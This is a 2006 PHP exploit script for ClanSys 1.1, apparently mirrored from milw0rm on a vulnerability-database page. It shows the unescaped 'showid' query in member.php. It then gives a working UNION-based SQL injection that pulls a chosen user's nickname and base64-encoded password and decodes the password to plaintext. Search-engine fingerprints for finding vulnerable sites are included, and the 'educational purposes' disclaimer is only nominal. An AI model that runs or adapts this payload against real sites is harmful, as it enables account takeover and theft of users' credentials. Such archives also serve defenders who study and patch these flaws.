<?php /*
|---==============================================================---|
| /\¯\__ /\¯\ |
| ____ ___ __ \ \ _\ ___\ \ \___ __ ___ |
| / __\ / _ \ / __ \ \ \ \/ / ___\ \ _ \ / __ \/\ __\ |
| /\__, \/\ \/\ \/\ \_\ \_\ \ \_/\ \__/\ \ \ \ \/\ __/\ \ \/ |
| \/\____/\ \_\ \_\ \__/ \_\\ \__\ \____\\ \_\ \_\ \____\\ \_\ |
| \/___/ \/_/\/_/\/__/\/_/ \/__/\/____/ \/_/\/_/\/____/ \/_/ |
| >> Internet Security |
|---==============================================================---|
title: clansys 1.1 remote sql injection
release: 2006-04-10
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|
application: clansys 1.1
description: a php / mysql based clan content management system
download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=113
description: you can get each password with a simple sql injection. the password
is base64 encoded, but it's easy to decode, that means, you will get
the password in plaintext :)
fingerprint: google -> "Clansys v.1.1" -> 4'030
msn -> "Clansys v.1.1" -> 529
conditions:
greets: honkey, str0ke <- good exploit publisher :),
all security guys and coders over the world,
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.
---------------------------- member.php - line 180 -------------------------------------
$sql = "SELECT * FROM member WHERE id=$showid";
-----------------------------------------------------------------------------------------
because this $showid isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.
*/
/*********************** CONFIGURATION ****************************/
$PATH_TO_FILE = 'http://yourhost.com/index.php'; // in example: http://yourhost.com/index.php
$USER_ID = 1; // which user? default: 1
$TABLE_PREFIX = ''; // default: empty
$GET_VARS = '?page=member&func=detail&showid='; // do not change
$SQL_INJECTION = '-666 union select 0,nick,realname,nick,pass,'. // do not change
'pass,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'.
'0,0,0 from '.$TABLE_PREFIX.'member where id = '.
$USER_ID.' limit 1 /*';
/**************************** MAIN ********************************/
$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!');
foreach ($file_array as $now)
$html_content .= $now;
$html_content = str_castrate($html_content);
preg_match_all("!<tdwidth=224height=20valign=middlealign=center><p><br><br><b>(.*?)Details</p></td>!",
$html_content,$username); /* gets username */
preg_match_all("!wwp.icq.com\/scripts\/online.dll\?icq=(.*?)=\&img=5border=0align=top>!",
$html_content,$password); /* gets password */
if ($username[1][0] && $password[1][0]) {
echo 'username: <b>'.$username[1][0].'</b> (user_id: '.$USER_ID.')<br>';
echo 'password: <b>'.base64_decode($password[1][0]).'</b>';
}else {
echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: clansys 1.1 remote sql injection vulnerability<br>
release: 2006-04-10<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';
function str_castrate($string) {
$string = str_replace("\n", '', $string);
$string = str_replace("\r", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>
# milw0rm.com [2006-04-10]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation